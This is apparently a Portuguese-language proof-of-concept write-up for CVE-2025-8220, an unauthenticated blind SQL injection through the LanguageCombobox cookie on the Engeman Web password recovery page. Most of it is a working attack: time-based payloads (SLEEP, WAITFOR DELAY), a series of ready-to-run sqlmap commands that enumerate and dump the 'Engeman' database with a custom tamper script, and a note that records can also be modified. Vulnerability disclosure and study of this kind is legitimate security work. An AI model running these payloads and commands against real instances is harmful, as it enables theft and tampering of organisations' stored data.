
Prova de conceito para exploração da vulnerabilidade descrita em CVE-2025-8220, que diz respeito à possibilidade de injeção de SQL durante o carregamento da página de recuperação de senha no software Engeman Web.
Prova de conceito para exploração da vulnerabilidade descrita em CVE-2025-8220, que diz respeito à possibilidade de Injeção de SQL durante o carregamento da página de recuperação de senha no software Engeman Web.
Foi encontrada uma vulnerabilidade que permite a manipulação da consulta SQL feita durante o carregamento da página de recuperação de senha no software Engeman Web. Esta vulnerabilidade pode ser explorada por visitantes sem acesso a nenhuma credencial válida, ou seja, de forma não autenticada, para comprometer a confidencialidade e a integridade dos dados armazenados no banco de dados da aplicação, bem como potencialmente causar negação de serviço no nível do componente ao alterar valores em tabelas críticas.
Após acessar a aplicação e ser redirecionado para a página de login, clique no botão para ser redirecionado para a página de recuperação de senha.


Verifique a requisição feita pelo navegador para carregar a página de recuperação de senha. Você notará que alguns cookies estão presentes, incluindo o cookie LanguageCombobox, que é armazenado durante o acesso inicial. O software Burp Suite foi utilizado nesta demonstração para visualizar e reenviar as requisições do navegador de forma mais eficiente.

Para confirmar a vulnerabilidade, insira uma aspas simples como valor do cookie mencionado e reenvie a requisição. Um erro indicando uma aspas não fechada deve ser exibido na resposta da aplicação.

Os resultados da consulta não são exibidos diretamente na página retornada, tornando esta uma exploração cega. Você pode inserir payloads como ' AND SLEEP(30)-- - ou '; WAITFOR DELAY '0:0:30'-- para inferir o banco de dados subjacente.

Uma vez confirmada a injeção, uma ferramenta automatizada como o sqlmap pode ser usada para despejar o banco de dados.
É importante observar que o argumento --technique deve incluir o valor SEB para que sejam usadas técnicas baseadas em consultas empilhadas, erros e comparações booleanas. Primeiro, porque é necessária uma exploração cega e, segundo, porque omitir a opção S do valor do argumento fez com que o sqlmap não conseguisse encontrar o ponto de injeção em bancos de dados SQL Server.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Diferentes técnicas de exploração possíveis serão identificadas através do ponto de injeção. Depois disso, as informações do banco de dados podem ser recuperadas.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Para despejar registros de tabelas usando o sqlmap, é necessário usar um script de tamper personalizado (pelo menos para bancos de dados SQL Server) que neste repositório se chama replace-dbo.py. A razão para isso é que os payloads do sqlmap que usam o formato <database>.dbo.<table> para referenciar o objeto de tabela entram em conflito com o processamento da aplicação. O tamper mencionado converte-o apenas para o formato <database>.<table>. Se a instância do Engeman Web usar MySQL ou outro banco de dados, este tamper não será necessário, ou outro precisará ser criado.


Lembre-se de que a ferramenta sqlmap exige que um arquivo vazio chamado init.py exista no diretório onde o script de tamper está localizado para que ele possa ser usado, caso você não o tenha colocado no diretório de tamper padrão da sua instalação.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
Este tamper causará conflitos se for usado em qualquer etapa do processo que não seja durante o despejo de uma tabela específica. Portanto, não o use para obter os bancos de dados (--dbs), as tabelas (--tables), as colunas (--columns) ou informações adicionais, como o usuário do banco de dados (--current-user).
Como o usuário usado pela aplicação para interagir com o banco de dados tem privilégios elevados no contexto dos registros do sistema, também é possível manipular a consulta subjacente para alterar os valores dos registros da tabela (isso é muito mais fácil se a instância estiver usando SQL Server como banco de dados subjacente).



Através desta vulnerabilidade, qualquer instância do sistema estaria suscetível à recuperação não autorizada e possivelmente à modificação de dados presentes no banco de dados em uso.
Esta vulnerabilidade foi confirmada em versões até 12.0.0.1, mas uma versão mais recente provavelmente também é vulnerável.